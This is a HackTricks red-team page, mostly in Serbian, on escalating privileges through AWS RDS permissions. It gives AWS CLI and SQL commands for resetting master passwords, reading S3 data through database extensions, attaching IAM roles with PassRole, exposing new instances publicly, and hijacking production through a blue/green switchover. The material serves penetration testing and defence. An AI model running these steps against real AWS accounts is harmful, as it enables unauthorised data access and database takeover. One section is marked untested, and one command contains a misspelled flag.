AWS - RDS Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

RDS - Relacijska usluga baza podataka

For more information about RDS check:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Sa tom dozvolom napadač može izmeniti lozinku master korisnika, i kredencijale za prijavu unutar baze podataka:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Biće potrebno da možete uspostaviti kontakt sa bazom podataka (one su obično dostupne samo iz unutrašnjih mreža).

Potential Impact: Pronalazak osetljivih informacija u bazama podataka.

rds-db:connect

Prema docs korisnik sa ovom dozvolom može da se poveže na DB instancu.

Zloupotreba RDS Role IAM dozvola

Postgresql (Aurora)

Tip

Ako pri izvršavanju SELECT datname FROM pg_database; nađete bazu podataka nazvanu rdsadmin, znate da se nalazite unutar AWS postgresql baze podataka.

Prvo možete proveriti da li je ova baza podataka korišćena za pristup nekim drugim AWS servisima. To možete proveriti gledajući instalirane ekstenzije:

SELECT * FROM pg_extension;

Ako pronađete nešto poput aws_s3 možete pretpostaviti da ova baza ima neku vrstu pristupa S3 (postoje i druge ekstenzije kao što su aws_ml i aws_lambda).

Takođe, ako imate dozvole da pokrenete aws rds describe-db-clusters možete videti da li klaster ima pridružen IAM Role u polju AssociatedRoles. Ako ih ima, možete pretpostaviti da je baza bila pripremljena za pristup drugim AWS servisima. Na osnovu imena role (ili ako možete dobiti dozvole role) možete pretpostaviti koji dodatni pristup baza ima.

Sada, da biste pročitali fajl unutar bucket-a morate znati punu putanju. Možete ga pročitati sa:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Ako biste imali raw AWS credentials, mogli biste ih koristiti i za pristup S3 podacima pomoću:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql ne mora da menja nijednu promenljivu u parameter group-u da bi mogao da pristupi S3.

Mysql (Aurora)

Tip

Inside a mysql, if you run the query SELECT User, Host FROM mysql.user; and there is a user called rdsadmin, you can assume you are inside an AWS RDS mysql db.

Unutar mysql-a pokrenite show variables; i ako promenljive poput aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role imaju vrednosti, možete pretpostaviti da je baza podataka pripremljena za pristup S3 podacima.

Takođe, ako imate dozvole da izvršite aws rds describe-db-clusters možete proveriti da li klaster ima neki associated role, što obično znači pristup AWS servisima).

Sada, da biste pročitali fajl unutar bucket-a morate znati punu putanju. Možete ga pročitati sa:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Napadač sa dozvolama rds:AddRoleToDBCluster i iam:PassRole može dodati određenu ulogu na postojeću RDS instancu. Ovo može omogućiti napadaču da pristupi osetljivim podacima ili izmeni podatke unutar instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.
Imajte na umu da neke DBs zahtevaju dodatne konfiguracije, kao što je Mysql, za koje je potrebno takođe navesti role ARN u aprameter groups.

rds:CreateDBInstance

Samo sa ovom dozvolom napadač može kreirati novu instancu unutar klastera koja već postoji i kojoj je pridružen IAM role. Neće moći da promeni lozinku master korisnika, ali bi mogao da izloži novu instancu baze podataka internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Test

Napadač koji ima dozvole rds:CreateDBInstance i iam:PassRole može kreirati novu RDS instancu sa navedenom pridruženom rolom. Napadač potom može potencijalno pristupiti osetljivim podacima ili izmeniti podatke unutar instance.

Warning

Neki zahtevi za role/instance-profile koje treba prikačiti (iz here):

  • Profil mora postojati na vašem nalogu.
  • Profil mora imati IAM rolu koju Amazon EC2 ima dozvole da preuzme.
  • Ime instance profila i ime pridružene IAM role moraju početi prefiksom AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Mogući uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instance.

rds:AddRoleToDBInstance, iam:PassRole

Napadač sa dozvolama rds:AddRoleToDBInstance i iam:PassRole može dodati određenu ulogu postojećoj RDS instance. Ovo može omogućiti napadaču da pristupi osetljivim podacima ili izmeni podatke unutar instance.

Warning

DB instance mora biti izvan klastera da bi ovo radilo

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencijalni uticaj: Pristup osetljivim podacima ili neovlašćene izmene podataka u RDS instanci.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Napadač sa ovim dozvolama može da klonira produkcijsku bazu podataka (Blue), pridruži IAM ulogu sa visokim privilegijama klonu (Green), i potom koristi switchover da zameni produkcijsko okruženje. Ovo omogućava napadaču da poveća privilegije baze podataka i stekne neovlašćen pristup drugim AWS resursima.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Potential Impact: Potpuno preuzimanje produkcionog okruženja baze podataka. Nakon prebacivanja, baza podataka radi sa povišenim privilegijama, što omogućava neautorizovan pristup drugim AWS servisima (npr. S3, Lambda, Secrets Manager) iz same baze podataka.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks